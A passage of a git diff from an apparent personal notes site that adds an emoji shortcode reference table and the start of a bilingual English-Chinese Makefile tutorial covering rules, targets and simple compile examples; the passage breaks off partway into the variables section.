:scream_cat: `:scream_cat:` | :crying_cat_face: `:crying_cat_face:` | :joy_cat: `:joy_cat:` | +| :pouting_cat: `:pouting_cat:` | :japanese_ogre: `:japanese_ogre:` | :japanese_goblin: `:japanese_goblin:` | +| :see_no_evil: `:see_no_evil:` | :hear_no_evil: `:hear_no_evil:` | :speak_no_evil: `:speak_no_evil:` | +| :guardsman: `:guardsman:` | :skull: `:skull:` | :feet: `:feet:` | +| :lips: `:lips:` | :kiss: `:kiss:` | :droplet: `:droplet:` | +| :ear: `:ear:` | :eyes: `:eyes:` | :nose: `:nose:` | +| :tongue: `:tongue:` | :love_letter: `:love_letter:` | :bust_in_silhouette: `:bust_in_silhouette:` | +| :busts_in_silhouette: `:busts_in_silhouette:` | :speech_balloon: `:speech_balloon:` | :thought_balloon: `:thought_balloon:` | +| :feelsgood: `:feelsgood:` | :finnadie: `:finnadie:` | :goberserk: `:goberserk:` | +| :godmode: `:godmode:` | :hurtrealbad: `:hurtrealbad:` | :rage1: `:rage1:` | +| :rage2: `:rage2:` | :rage3: `:rage3:` | :rage4: `:rage4:` | +| :suspect: `:suspect:` | :trollface: `:trollface:` | + +# Nature + +| :sunny: `:sunny:` | :umbrella: `:umbrella:` | :cloud: `:cloud:` | +|---|---|---| +| :snowflake: `:snowflake:` | :snowman: `:snowman:` | :zap: `:zap:` | +| :cyclone: `:cyclone:` | :foggy: `:foggy:` | :ocean: `:ocean:` | +| :cat: `:cat:` | :dog: `:dog:` | :mouse: `:mouse:` | +| :hamster: `:hamster:` | 🐰 `🐰` | :wolf: `:wolf:` | +| :frog: `:frog:` | :tiger: `:tiger:` | :koala: `:koala:` | +| :bear: `:bear:` | :pig: `:pig:` | :pig_nose: `:pig_nose:` | +| :cow: `:cow:` | :boar: `:boar:` | :monkey_face: `:monkey_face:` | +| :monkey: `:monkey:` | :horse: `:horse:` | :racehorse: `:racehorse:` | +| :camel: `:camel:` | :sheep: `:sheep:` | :elephant: `:elephant:` | +| :panda_face: `:panda_face:` | :snake: `:snake:` | :bird: `:bird:` | +| :baby_chick: `:baby_chick:` | :hatched_chick: `:hatched_chick:` | :hatching_chick: `:hatching_chick:` | +| :chicken: `:chicken:` | :penguin: `:penguin:` | :turtle: `:turtle:` | +| :bug: `:bug:` | :honeybee: `:honeybee:` | :ant: `:ant:` | +| :beetle: `:beetle:` | :snail: `:snail:` | :octopus: `:octopus:` | +| :tropical_fish: `:tropical_fish:` | :fish: `:fish:` | :whale: `:whale:` | +| :whale2: `:whale2:` | :dolphin: `:dolphin:` | :cow2: `:cow2:` | +| :ram: `:ram:` | :rat: `:rat:` | :water_buffalo: `:water_buffalo:` | +| :tiger2: `:tiger2:` | :rabbit2: `:rabbit2:` | :dragon: `:dragon:` | +| :goat: `:goat:` | :rooster: `:rooster:` | :dog2: `:dog2:` | +| :pig2: `:pig2:` | :mouse2: `:mouse2:` | :ox: `:ox:` | +| :dragon_face: `:dragon_face:` | :blowfish: `:blowfish:` | :crocodile: `:crocodile:` | +| :dromedary_camel: `:dromedary_camel:` | :leopard: `:leopard:` | :cat2: `:cat2:` | +| :poodle: `:poodle:` | :paw_prints: `:paw_prints:` | :bouquet: `:bouquet:` | +| :cherry_blossom: `:cherry_blossom:` | :tulip: `:tulip:` | :four_leaf_clover: `:four_leaf_clover:` | +| :rose: `:rose:` | :sunflower: `:sunflower:` | :hibiscus: `:hibiscus:` | +| :maple_leaf: `:maple_leaf:` | :leaves: `:leaves:` | :fallen_leaf: `:fallen_leaf:` | +| :herb: `:herb:` | :mushroom: `:mushroom:` | :cactus: `:cactus:` | +| :palm_tree: `:palm_tree:` | :evergreen_tree: `:evergreen_tree:` | :deciduous_tree: `:deciduous_tree:` | +| :chestnut: `:chestnut:` | :seedling: `:seedling:` | :blossom: `:blossom:` | +| :ear_of_rice: `:ear_of_rice:` | :shell: `:shell:` | :globe_with_meridians: `:globe_with_meridians:` | +| :sun_with_face: `:sun_with_face:` | :full_moon_with_face: `:full_moon_with_face:` | :new_moon_with_face: `:new_moon_with_face:` | +| :new_moon: `:new_moon:` | :waxing_crescent_moon: `:waxing_crescent_moon:` | :first_quarter_moon: `:first_quarter_moon:` | +| :waxing_gibbous_moon: `:waxing_gibbous_moon:` | :full_moon: `:full_moon:` | :waning_gibbous_moon: `:waning_gibbous_moon:` | +| :last_quarter_moon: `:last_quarter_moon:` | :waning_crescent_moon: `:waning_crescent_moon:` | :last_quarter_moon_with_face: `:last_quarter_moon_with_face:` | +| :first_quarter_moon_with_face: `:first_quarter_moon_with_face:` | :moon: `:moon:` | :earth_africa: `:earth_africa:` | +| :earth_americas: `:earth_americas:` | :earth_asia: `:earth_asia:` | :volcano: `:volcano:` | +| :milky_way: `:milky_way:` | :partly_sunny: `:partly_sunny:` | :octocat: `:octocat:` | +| :squirrel: `:squirrel:` | + +# Objects + +| :bamboo: `:bamboo:` | :gift_heart: `:gift_heart:` | :dolls: `:dolls:` | +|---|---|---| +| :school_satchel: `:school_satchel:` | :mortar_board: `:mortar_board:` | :flags: `:flags:` | +| :fireworks: `:fireworks:` | :sparkler: `:sparkler:` | :wind_chime: `:wind_chime:` | +| :rice_scene: `:rice_scene:` | :jack_o_lantern: `:jack_o_lantern:` | :ghost: `:ghost:` | +| :santa: `:santa:` | :christmas_tree: `:christmas_tree:` | :gift: `:gift:` | +| :bell: `:bell:` | :no_bell: `:no_bell:` | :tanabata_tree: `:tanabata_tree:` | +| :tada: `:tada:` | :confetti_ball: `:confetti_ball:` | :balloon: `:balloon:` | +| :crystal_ball: `:crystal_ball:` | :cd: `:cd:` | :dvd: `:dvd:` | +| :floppy_disk: `:floppy_disk:` | :camera: `:camera:` | :video_camera: `:video_camera:` | +| :movie_camera: `:movie_camera:` | :computer: `:computer:` | :tv: `:tv:` | +| :iphone: `:iphone:` | :phone: `:phone:` | :telephone: `:telephone:` | +| :telephone_receiver: `:telephone_receiver:` | :pager: `:pager:` | :fax: `:fax:` | +| :minidisc: `:minidisc:` | :vhs: `:vhs:` | :sound: `:sound:` | +| :speaker: `:speaker:` | :mute: `:mute:` | :loudspeaker: `:loudspeaker:` | +| :mega: `:mega:` | :hourglass: `:hourglass:` | :hourglass_flowing_sand: `:hourglass_flowing_sand:` | +| :alarm_clock: `:alarm_clock:` | :watch: `:watch:` | :radio: `:radio:` | +| :satellite: `:satellite:` | :loop: `:loop:` | :mag: `:mag:` | +| :mag_right: `:mag_right:` | :unlock: `:unlock:` | :lock: `:lock:` | +| :lock_with_ink_pen: `:lock_with_ink_pen:` | :closed_lock_with_key: `:closed_lock_with_key:` | :key: `:key:` | +| :bulb: `:bulb:` | :flashlight: `:flashlight:` | :high_brightness: `:high_brightness:` | +| :low_brightness: `:low_brightness:` | :electric_plug: `:electric_plug:` | :battery: `:battery:` | +| :calling: `:calling:` | :email: `:email:` | :mailbox: `:mailbox:` | +| :postbox: `:postbox:` | :bath: `:bath:` | :bathtub: `:bathtub:` | +| :shower: `:shower:` | :toilet: `:toilet:` | :wrench: `:wrench:` | +| :nut_and_bolt: `:nut_and_bolt:` | :hammer: `:hammer:` | :seat: `:seat:` | +| :moneybag: `:moneybag:` | :yen: `:yen:` | :dollar: `:dollar:` | +| :pound: `:pound:` | :euro: `:euro:` | :credit_card: `:credit_card:` | +| :money_with_wings: `:money_with_wings:` | :e-mail: `:e-mail:` | :inbox_tray: `:inbox_tray:` | +| :outbox_tray: `:outbox_tray:` | :envelope: `:envelope:` | :incoming_envelope: `:incoming_envelope:` | +| :postal_horn: `:postal_horn:` | :mailbox_closed: `:mailbox_closed:` | :mailbox_with_mail: `:mailbox_with_mail:` | +| :mailbox_with_no_mail: `:mailbox_with_no_mail:` | :door: `:door:` | :smoking: `:smoking:` | +| :bomb: `:bomb:` | :gun: `:gun:` | :hocho: `:hocho:` | +| :pill: `:pill:` | :syringe: `:syringe:` | :page_facing_up: `:page_facing_up:` | +| :page_with_curl: `:page_with_curl:` | :bookmark_tabs: `:bookmark_tabs:` | :bar_chart: `:bar_chart:` | +| :chart_with_upwards_trend: `:chart_with_upwards_trend:` | :chart_with_downwards_trend: `:chart_with_downwards_trend:` | :scroll: `:scroll:` | +| :clipboard: `:clipboard:` | :calendar: `:calendar:` | :date: `:date:` | +| :card_index: `:card_index:` | :file_folder: `:file_folder:` | :open_file_folder: `:open_file_folder:` | +| :scissors: `:scissors:` | :pushpin: `:pushpin:` | :paperclip: `:paperclip:` | +| :black_nib: `:black_nib:` | ✏️ `✏️` | :straight_ruler: `:straight_ruler:` | +| :triangular_ruler: `:triangular_ruler:` | :closed_book: `:closed_book:` | :green_book: `:green_book:` | +| :blue_book: `:blue_book:` | :orange_book: `:orange_book:` | :notebook: `:notebook:` | +| :notebook_with_decorative_cover: `:notebook_with_decorative_cover:` | :ledger: `:ledger:` | :books: `:books:` | +| :bookmark: `:bookmark:` | :name_badge: `:name_badge:` | :microscope: `:microscope:` | +| :telescope: `:telescope:` | :newspaper: `:newspaper:` | :football: `:football:` | +| :basketball: `:basketball:` | :soccer: `:soccer:` | :baseball: `:baseball:` | +| :tennis: `:tennis:` | :8ball: `:8ball:` | :rugby_football: `:rugby_football:` | +| :bowling: `:bowling:` | :golf: `:golf:` | :mountain_bicyclist: `:mountain_bicyclist:` | +| :bicyclist: `:bicyclist:` | :horse_racing: `:horse_racing:` | :snowboarder: `:snowboarder:` | +| :swimmer: `:swimmer:` | :surfer: `:surfer:` | :ski: `:ski:` | +| :spades: `:spades:` | :hearts: `:hearts:` | :clubs: `:clubs:` | +| :diamonds: `:diamonds:` | :gem: `:gem:` | :ring: `:ring:` | +| :trophy: `:trophy:` | :musical_score: `:musical_score:` | :musical_keyboard: `:musical_keyboard:` | +| :violin: `:violin:` | :space_invader: `:space_invader:` | :video_game: `:video_game:` | +| :black_joker: `:black_joker:` | :flower_playing_cards: `:flower_playing_cards:` | :game_die: `:game_die:` | +| :dart: `:dart:` | :mahjong: `:mahjong:` | :clapper: `:clapper:` | +| :memo: `:memo:` | :pencil: `:pencil:` | :book: `:book:` | +| :art: `:art:` | :microphone: `:microphone:` | :headphones: `:headphones:` | +| :trumpet: `:trumpet:` | :saxophone: `:saxophone:` | :guitar: `:guitar:` | +| :shoe: `:shoe:` | :sandal: `:sandal:` | :high_heel: `:high_heel:` | +| :lipstick: `:lipstick:` | :boot: `:boot:` | :shirt: `:shirt:` | +| :tshirt: `:tshirt:` | :necktie: `:necktie:` | :womans_clothes: `:womans_clothes:` | +| :dress: `:dress:` | :running_shirt_with_sash: `:running_shirt_with_sash:` | :jeans: `:jeans:` | +| :kimono: `:kimono:` | :bikini: `:bikini:` | :ribbon: `:ribbon:` | +| :tophat: `:tophat:` | :crown: `:crown:` | :womans_hat: `:womans_hat:` | +| :mans_shoe: `:mans_shoe:` | :closed_umbrella: `:closed_umbrella:` | :briefcase: `:briefcase:` | +| :handbag: `:handbag:` | :pouch: `:pouch:` | :purse: `:purse:` | +| :eyeglasses: `:eyeglasses:` | :fishing_pole_and_fish: `:fishing_pole_and_fish:` | :coffee: `:coffee:` | +| :tea: `:tea:` | :sake: `:sake:` | :baby_bottle: `:baby_bottle:` | +| :beer: `:beer:` | :beers: `:beers:` | :cocktail: `:cocktail:` | +| :tropical_drink: `:tropical_drink:` | :wine_glass: `:wine_glass:` | :fork_and_knife: `:fork_and_knife:` | +| :pizza: `:pizza:` | :hamburger: `:hamburger:` | :fries: `:fries:` | +| :poultry_leg: `:poultry_leg:` | :meat_on_bone: `:meat_on_bone:` | :spaghetti: `:spaghetti:` | +| :curry: `:curry:` | :fried_shrimp: `:fried_shrimp:` | :bento: `:bento:` | +| :sushi: `:sushi:` | :fish_cake: `:fish_cake:` | :rice_ball: `:rice_ball:` | +| :rice_cracker: `:rice_cracker:` | :rice: `:rice:` | :ramen: `:ramen:` | +| :stew: `:stew:` | :oden: `:oden:` | :dango: `:dango:` | +| :egg: `:egg:` | :bread: `:bread:` | :doughnut: `:doughnut:` | +| :custard: `:custard:` | :icecream: `:icecream:` | :ice_cream: `:ice_cream:` | +| :shaved_ice: `:shaved_ice:` | :birthday: `:birthday:` | :cake: `:cake:` | +| :cookie: `:cookie:` | :chocolate_bar: `:chocolate_bar:` | :candy: `:candy:` | +| :lollipop: `:lollipop:` | :honey_pot: `:honey_pot:` | :apple: `:apple:` | +| :green_apple: `:green_apple:` | :tangerine: `:tangerine:` | :lemon: `:lemon:` | +| :cherries: `:cherries:` | :grapes: `:grapes:` | :watermelon: `:watermelon:` | +| :strawberry: `:strawberry:` | :peach: `:peach:` | :melon: `:melon:` | +| :banana: `:banana:` | :pear: `:pear:` | :pineapple: `:pineapple:` | +| :sweet_potato: `:sweet_potato:` | :eggplant: `:eggplant:` | :tomato: `:tomato:` | +| :corn: `:corn:` | + + +# Places + +| :house: `:house:` | :house_with_garden: `:house_with_garden:` | :school: `:school:` | +|---|---|---| +| :office: `:office:` | :post_office: `:post_office:` | :hospital: `:hospital:` | +| :bank: `:bank:` | :convenience_store: `:convenience_store:` | :love_hotel: `:love_hotel:` | +| :hotel: `:hotel:` | :wedding: `:wedding:` | :church: `:church:` | +| :department_store: `:department_store:` | :european_post_office: `:european_post_office:` | :city_sunrise: `:city_sunrise:` | +| :city_sunset: `:city_sunset:` | :japanese_castle: `:japanese_castle:` | :european_castle: `:european_castle:` | +| :tent: `:tent:` | :factory: `:factory:` | :tokyo_tower: `:tokyo_tower:` | +| :japan: `:japan:` | :mount_fuji: `:mount_fuji:` | :sunrise_over_mountains: `:sunrise_over_mountains:` | +| :sunrise: `:sunrise:` | :stars: `:stars:` | :statue_of_liberty: `:statue_of_liberty:` | +| :bridge_at_night: `:bridge_at_night:` | :carousel_horse: `:carousel_horse:` | :rainbow: `:rainbow:` | +| :ferris_wheel: `:ferris_wheel:` | :fountain: `:fountain:` | :roller_coaster: `:roller_coaster:` | +| :ship: `:ship:` | :speedboat: `:speedboat:` | :boat: `:boat:` | +| :sailboat: `:sailboat:` | :rowboat: `:rowboat:` | :anchor: `:anchor:` | +| :rocket: `:rocket:` | :airplane: `:airplane:` | :helicopter: `:helicopter:` | +| :steam_locomotive: `:steam_locomotive:` | :tram: `:tram:` | :mountain_railway: `:mountain_railway:` | +| :bike: `:bike:` | :aerial_tramway: `:aerial_tramway:` | :suspension_railway: `:suspension_railway:` | +| :mountain_cableway: `:mountain_cableway:` | :tractor: `:tractor:` | :blue_car: `:blue_car:` | +| :oncoming_automobile: `:oncoming_automobile:` | :car: `:car:` | :red_car: `:red_car:` | +| :taxi: `:taxi:` | :oncoming_taxi: `:oncoming_taxi:` | :articulated_lorry: `:articulated_lorry:` | +| :bus: `:bus:` | :oncoming_bus: `:oncoming_bus:` | :rotating_light: `:rotating_light:` | +| :police_car: `:police_car:` | :oncoming_police_car: `:oncoming_police_car:` | :fire_engine: `:fire_engine:` | +| :ambulance: `:ambulance:` | :minibus: `:minibus:` | :truck: `:truck:` | +| :train: `:train:` | :station: `:station:` | :train2: `:train2:` | +| :bullettrain_front: `:bullettrain_front:` | :bullettrain_side: `:bullettrain_side:` | :light_rail: `:light_rail:` | +| :monorail: `:monorail:` | :railway_car: `:railway_car:` | :trolleybus: `:trolleybus:` | +| :ticket: `:ticket:` | :fuelpump: `:fuelpump:` | :vertical_traffic_light: `:vertical_traffic_light:` | +| :traffic_light: `:traffic_light:` | :warning: `:warning:` | :construction: `:construction:` | +| :beginner: `:beginner:` | :atm: `:atm:` | :slot_machine: `:slot_machine:` | +| :busstop: `:busstop:` | :barber: `:barber:` | :hotsprings: `:hotsprings:` | +| :checkered_flag: `:checkered_flag:` | :crossed_flags: `:crossed_flags:` | :izakaya_lantern: `:izakaya_lantern:` | +| :moyai: `:moyai:` | :circus_tent: `:circus_tent:` | :performing_arts: `:performing_arts:` | +| :round_pushpin: `:round_pushpin:` | :triangular_flag_on_post: `:triangular_flag_on_post:` | :jp: `:jp:` | +| :kr: `:kr:` | :cn: `:cn:` | :us: `:us:` | +| :fr: `:fr:` | :es: `:es:` | :it: `:it:` | +| :ru: `:ru:` | :gb: `:gb:` | :uk: `:uk:` | +| :de: `:de:` | + + +# Symbols + +| :one: `:one:` | :two: `:two:` | :three: `:three:` | +|---|---|---| +| :four: `:four:` | :five: `:five:` | :six: `:six:` | +| :seven: `:seven:` | :eight: `:eight:` | :nine: `:nine:` | +| :keycap_ten: `:keycap_ten:` | :1234: `:1234:` | :zero: `:zero:` | +| :hash: `:hash:` | :symbols: `:symbols:` | :arrow_backward: `:arrow_backward:` | +| :arrow_down: `:arrow_down:` | :arrow_forward: `:arrow_forward:` | :arrow_left: `:arrow_left:` | +| :capital_abcd: `:capital_abcd:` | :abcd: `:abcd:` | :abc: `:abc:` | +| :arrow_lower_left: `:arrow_lower_left:` | :arrow_lower_right: `:arrow_lower_right:` | :arrow_right: `:arrow_right:` | +| :arrow_up: `:arrow_up:` | :arrow_upper_left: `:arrow_upper_left:` | :arrow_upper_right: `:arrow_upper_right:` | +| :arrow_double_down: `:arrow_double_down:` | :arrow_double_up: `:arrow_double_up:` | :arrow_down_small: `:arrow_down_small:` | +| :arrow_heading_down: `:arrow_heading_down:` | :arrow_heading_up: `:arrow_heading_up:` | :leftwards_arrow_with_hook: `:leftwards_arrow_with_hook:` | +| :arrow_right_hook: `:arrow_right_hook:` | :left_right_arrow: `:left_right_arrow:` | :arrow_up_down: `:arrow_up_down:` | +| :arrow_up_small: `:arrow_up_small:` | :arrows_clockwise: `:arrows_clockwise:` | :arrows_counterclockwise: `:arrows_counterclockwise:` | +| :rewind: `:rewind:` | :fast_forward: `:fast_forward:` | :information_source: `:information_source:` | +| :ok: `:ok:` | :twisted_rightwards_arrows: `:twisted_rightwards_arrows:` | :repeat: `:repeat:` | +| :repeat_one: `:repeat_one:` | :new: `:new:` | :top: `:top:` | +| :up: `:up:` | :cool: `:cool:` | :free: `:free:` | +| :ng: `:ng:` | :cinema: `:cinema:` | :koko: `:koko:` | +| :signal_strength: `:signal_strength:` | :u5272: `:u5272:` | :u5408: `:u5408:` | +| :u55b6: `:u55b6:` | :u6307: `:u6307:` | :u6708: `:u6708:` | +| :u6709: `:u6709:` | :u6e80: `:u6e80:` | :u7121: `:u7121:` | +| :u7533: `:u7533:` | :u7a7a: `:u7a7a:` | :u7981: `:u7981:` | +| :sa: `:sa:` | :restroom: `:restroom:` | :mens: `:mens:` | +| :womens: `:womens:` | :baby_symbol: `:baby_symbol:` | :no_smoking: `:no_smoking:` | +| :parking: `:parking:` | :wheelchair: `:wheelchair:` | :metro: `:metro:` | +| :baggage_claim: `:baggage_claim:` | :accept: `:accept:` | :wc: `:wc:` | +| :potable_water: `:potable_water:` | :put_litter_in_its_place: `:put_litter_in_its_place:` | :secret: `:secret:` | +| :congratulations: `:congratulations:` | :m: `:m:` | :passport_control: `:passport_control:` | +| :left_luggage: `:left_luggage:` | :customs: `:customs:` | :ideograph_advantage: `:ideograph_advantage:` | +| :cl: `:cl:` | :sos: `:sos:` | :id: `:id:` | +| :no_entry_sign: `:no_entry_sign:` | :underage: `:underage:` | :no_mobile_phones: `:no_mobile_phones:` | +| :do_not_litter: `:do_not_litter:` | :non-potable_water: `:non-potable_water:` | :no_bicycles: `:no_bicycles:` | +| :no_pedestrians: `:no_pedestrians:` | :children_crossing: `:children_crossing:` | :no_entry: `:no_entry:` | +| :eight_spoked_asterisk: `:eight_spoked_asterisk:` | :eight_pointed_black_star: `:eight_pointed_black_star:` | :heart_decoration: `:heart_decoration:` | +| :vs: `:vs:` | :vibration_mode: `:vibration_mode:` | :mobile_phone_off: `:mobile_phone_off:` | +| :chart: `:chart:` | :currency_exchange: `:currency_exchange:` | :aries: `:aries:` | +| :taurus: `:taurus:` | :gemini: `:gemini:` | :cancer: `:cancer:` | +| :leo: `:leo:` | :virgo: `:virgo:` | :libra: `:libra:` | +| :scorpius: `:scorpius:` | :sagittarius: `:sagittarius:` | :capricorn: `:capricorn:` | +| :aquarius: `:aquarius:` | :pisces: `:pisces:` | :ophiuchus: `:ophiuchus:` | +| :six_pointed_star: `:six_pointed_star:` | :negative_squared_cross_mark: `:negative_squared_cross_mark:` | :a: `:a:` | +| :b: `:b:` | :ab: `:ab:` | :o2: `:o2:` | +| :diamond_shape_with_a_dot_inside: `:diamond_shape_with_a_dot_inside:` | :recycle: `:recycle:` | :end: `:end:` | +| :on: `:on:` | :soon: `:soon:` | :clock1: `:clock1:` | +| :clock130: `:clock130:` | :clock10: `:clock10:` | :clock1030: `:clock1030:` | +| :clock11: `:clock11:` | :clock1130: `:clock1130:` | :clock12: `:clock12:` | +| :clock1230: `:clock1230:` | :clock2: `:clock2:` | :clock230: `:clock230:` | +| :clock3: `:clock3:` | :clock330: `:clock330:` | :clock4: `:clock4:` | +| :clock430: `:clock430:` | :clock5: `:clock5:` | :clock530: `:clock530:` | +| :clock6: `:clock6:` | :clock630: `:clock630:` | :clock7: `:clock7:` | +| :clock730: `:clock730:` | :clock8: `:clock8:` | :clock830: `:clock830:` | +| :clock9: `:clock9:` | :clock930: `:clock930:` | :heavy_dollar_sign: `:heavy_dollar_sign:` | +| :copyright: `:copyright:` | :registered: `:registered:` | :tm: `:tm:` | +| :x: `:x:` | :heavy_exclamation_mark: `:heavy_exclamation_mark:` | :bangbang: `:bangbang:` | +| :interrobang: `:interrobang:` | :o: `:o:` | :heavy_multiplication_x: `:heavy_multiplication_x:` | +| :heavy_plus_sign: `:heavy_plus_sign:` | :heavy_minus_sign: `:heavy_minus_sign:` | :heavy_division_sign: `:heavy_division_sign:` | +| :white_flower: `:white_flower:` | :100: `:100:` | ✔️ `✔️` | +| :ballot_box_with_check: `:ballot_box_with_check:` | :radio_button: `:radio_button:` | :link: `:link:` | +| :curly_loop: `:curly_loop:` | :wavy_dash: `:wavy_dash:` | :part_alternation_mark: `:part_alternation_mark:` | +| :trident: `:trident:` | :black_square: `:black_square:` | :white_square: `:white_square:` | +| :white_check_mark: `:white_check_mark:` | :black_square_button: `:black_square_button:` | :white_square_button: `:white_square_button:` | +| :black_circle: `:black_circle:` | :white_circle: `:white_circle:` | :red_circle: `:red_circle:` | +| :large_blue_circle: `:large_blue_circle:` | :large_blue_diamond: `:large_blue_diamond:` | :large_orange_diamond: `:large_orange_diamond:` | +| :small_blue_diamond: `:small_blue_diamond:` | :small_orange_diamond: `:small_orange_diamond:` | :small_red_triangle: `:small_red_triangle:` | +| :small_red_triangle_down: `:small_red_triangle_down:` | :shipit: `:shipit:` | diff --git a/_posts/00CodeNote/language/other/rgb_markdown_color.pdf b/_posts/00CodeNote/language/other/rgb_markdown_color.pdf new file mode 100644 index 00000000000..acb5c838c83 Binary files /dev/null and b/_posts/00CodeNote/language/other/rgb_markdown_color.pdf differ diff --git a/_posts/00CodeNote/language/system/2020-07-16-Makefile.md b/_posts/00CodeNote/language/system/2020-07-16-Makefile.md new file mode 100644 index 00000000000..55bab9a1e1d --- /dev/null +++ b/_posts/00CodeNote/language/system/2020-07-16-Makefile.md @@ -0,0 +1,1448 @@ +--- +title: Makefile +date: 2020-07-16 11:11:11 -0400 +categories: [00CodeNote] +tags: [makefile] +math: true +image: +--- +- [Makefile](#makefile) + - [basic](#basic) + - [Makefile Syntax](#makefile-syntax) + - [Run Examples](#run-examples) + - [Variables](#variables) + - [Targets](#targets) + - [`all` target](#all-target) + - [Multiple targets](#multiple-targets) + - [Automatic Variables and Wildcards](#automatic-variables-and-wildcards) + - [Fancy Rules](#fancy-rules) + - [Static Pattern Rules](#static-pattern-rules) + - [Static Pattern Rules and Filter](#static-pattern-rules-and-filter) + - [Implicit Rules](#implicit-rules) + - [Pattern Rules](#pattern-rules) + - [Functions for String Substitution and Analysis](#functions-for-string-substitution-and-analysis) + - [Double-Colon Rules `::`](#double-colon-rules-) + - [Double pipeline `|| true`](#double-pipeline--true) + - [Commands and execution](#commands-and-execution) + - [Command Echoing/Silencing](#command-echoingsilencing) + - [Command Execution](#command-execution) + - [Default Shell](#default-shell) + - [Error handling with `-k`, `-i`, and `-`](#error-handling-with--k--i-and--) + - [Interrupting or killing make](#interrupting-or-killing-make) + - [Recursive make](#recursive-make) + - [Arguments to make](#arguments-to-make) + - [Variables Pt. 2](#variables-pt-2) + - [Flavors of variables](#flavors-of-variables) + - [`?=`](#) + - [space](#space) + - [Use `+=` to append](#use--to-append) + - [Command line arguments and override](#command-line-arguments-and-override) + - [List of commands and define](#list-of-commands-and-define) + - [Target-specific variables](#target-specific-variables) + - [Pattern-specific variables](#pattern-specific-variables) + - [Conditional part of Makefiles](#conditional-part-of-makefiles) + - [`ifeq endif` Conditional if/else](#ifeq-endif-conditional-ifelse) + - [`$(nullstring)` Check if a variable is empty](#nullstring-check-if-a-variable-is-empty) + - [`ifdef endif` Check if a variable is defined](#ifdef-endif-check-if-a-variable-is-defined) + - [`$(makeflags)`](#makeflags) + - [Functions](#functions) + - [First Functions](#first-functions) + - [`$(patsubst pattern,replacement, text)`](#patsubst-patternreplacement-text) + - [`$(foreach var,list,text)`](#foreach-varlisttext) + - [`$(if nonempty, action1 , action2)`](#if-nonempty-action1--action2) + - [The call function](#the-call-function) + - [`$(shell ls -la)`](#shell-ls--la) + - [Other Features](#other-features) + - [`include Makefiles`](#include-makefiles) + - [`vpath `](#vpath-pattern-directories-spacecolon-separated) + - [Multiline `\`](#multiline-) + - [`.phony`](#phony) + - [`.delete_on_error`](#delete_on_error) + - [Makefile Cookbook](#makefile-cookbook) + +--- + +# Makefile + +--- + +## basic + +- Makefiles are used to help decide which parts of a large program need to be recompiled. +- In the vast majority of cases, C or C++ files are compiled. +- Other languages typically have their own tools that serve a similar purpose as Make. +- It can be used beyond programs too, when you need a series of instructions to run depending on what files have changed. This tutorial will focus on the C/C++ compilation use case. + +Here's an example dependency graph that you might build with Make. If any file's dependencies changes, then the file will get recompiled: + + +![dependency_graph](https://i.imgur.com/058OIyS.png) + + +alternatives to Make +- Popular C/C++ alternative build systems are [SCons](https://scons.org/), [CMake](https://cmake.org/), [Bazel](https://bazel.build/), and [Ninja](https://ninja-build.org/). +- Some code editors like [Microsoft Visual Studio](https://visualstudio.microsoft.com/) have their own built in build tools. + - For Java, there's [Ant](https://ant.apache.org/), [Maven](https://maven.apache.org/what-is-maven.html), and [Gradle](https://gradle.org/). + - Other languages like Go and Rust have their own build tools. + +Interpreted languages like `Python, Ruby, and Javascript` don't require an analogue to Makefiles. +- The goal of Makefiles is to compile whatever files need to be compiled, based on what files have changed. +- But when files in interpreted languages change, nothing needs to get recompiled. When the program runs, the most recent version of the file is used. + +--- + +## Makefile Syntax + +A Makefile consists of a set of rules +- The targets + * are file names, separated by spaces. + * Typically, there is only one per rule. + * 一个目标文件,可以是Object File,也可以是执行文件。还可以是一个标签(Label) + +- The prerequisites / dependencies + * are also file names, separated by spaces. + * These files need to exist before the commands for the target are run. + * 要生成那个target所需要的文件或是目标。 + +- The commands + * a series of steps typically used to make the target(s). + * These need to start with a tab character , + * not spaces. + * make需要执行的命令。(任意的Shell命令) + +```bash +# A rule generally looks like this: +targets: prerequisites + command + command + command +clean: + command +``` + +这是一个文件的依赖关系 +- target这一个或多个的目标文件依赖于prerequisites中的文件, +- 其生成规则定义在command中。 +- prerequisites中如果有一个以上的文件比target文件要新的话,command所定义的命令就会被执行。 +- 这就是Makefile的规则。也就是Makefile中最核心的内容。 +- make会一层又一层地去找文件的依赖关系,直到最终编译出第一个目标文件。在找寻的过程中,如果出现错误,比如最后被依赖的文件找不到,那么make就会直接退出,并报错, +- 对于所定义的命令的错误,或是编译不成功,make根本不理。 +- make只管文件的依赖性 + - 如果在找了依赖关系之后,冒号后面的文件还是不在,那么对不起,我就不工作啦。 + + +clean不是一个文件,它只不过是一个动作名字 +- 其冒号后什么也没有,那么,make就不会自动去找文件的依赖性,也就不会自动执行其后所定义的命令。 +- 要执行其后的命令,就要在make命令后明显得指出这个lable的名字。 +- 这样的方法可以在一个makefile中定义不用的编译或是和编译无关的命令,比如程序的打包,程序的备份,等等。 +- 像clean这种,没有被第一个目标文件直接或间接关联,那么它后面所定义的命令将不会被自动执行, + - 要make执行。即命令——“make clean” + + +--- + + +## Run Examples + +put the contents in a file called `Makefile`, and in that directory run the command `make`. + +```bash + +# 1. +# Makefile +hello: + echo "hello world" + +$ make +# echo "hello world" +# hello world + + + +# 2. +# It have 3 separate rules, +# - When you run `make blah` in the terminal, it will build a program called `blah` in a series of steps: +# - Make is given `blah` as the target, so it first searches for this target +# - `blah` requires `blah.o`, so make searches for the `blah.o` target +# - `blah.o` requires `blah.c`, so make searches for the `blah.c` target +# - `blah.c` has no dependencies, so the `echo` command is run +# - The `cc -c` command is then run, because all of the `blah.o` dependencies are finished +# - The top `cc` command is run, because all the `blah` dependencies are finished +# - That's it: `blah` is a compiled c program +blah: blah.o + cc blah.o -o blah # Runs third +blah.o: blah.c + cc -c blah.c -o blah.o # Runs second +blah.c: + echo "int main() {return 0;}" > blah.c # Runs first +# echo "int main() {return 0;}" > blah.c +# cc -c blah.c -o blah.o +# cc blah.o -o blah + + +# 3. +# This makefile has a single target, called `some_file`. +# The default target is the first target, so in this case `some_file` will run. +some_file: + echo "This line will always print" +# first time: This file will make `some_file` +# the second time notice run the made: `make: 'some_file' is up to date.` + +# 4. +# Here, the target `some_file` "depends" on `other_file`. +# When we run `make`, the default target (`some_file`) will get called. +# It will first look at its list of dependencies, and if any of them are older, it will first run the targets for those dependencies, and then run itself. +# The second time this is run, neither target will run because both targets exist. + +some_file: other_file + echo "This will run second, because it depends on other_file" + touch some_file + +other_file: + echo "This will run first" + touch ot + + +# 5. +# `clean` is often used as a target that removes the output of other targets, but it is not a special word in `make`. + +some_file: + touch some_file + +clean: + rm -f some_file +``` + +--- + +## Variables + +Variables can only be strings. Here's an example of using 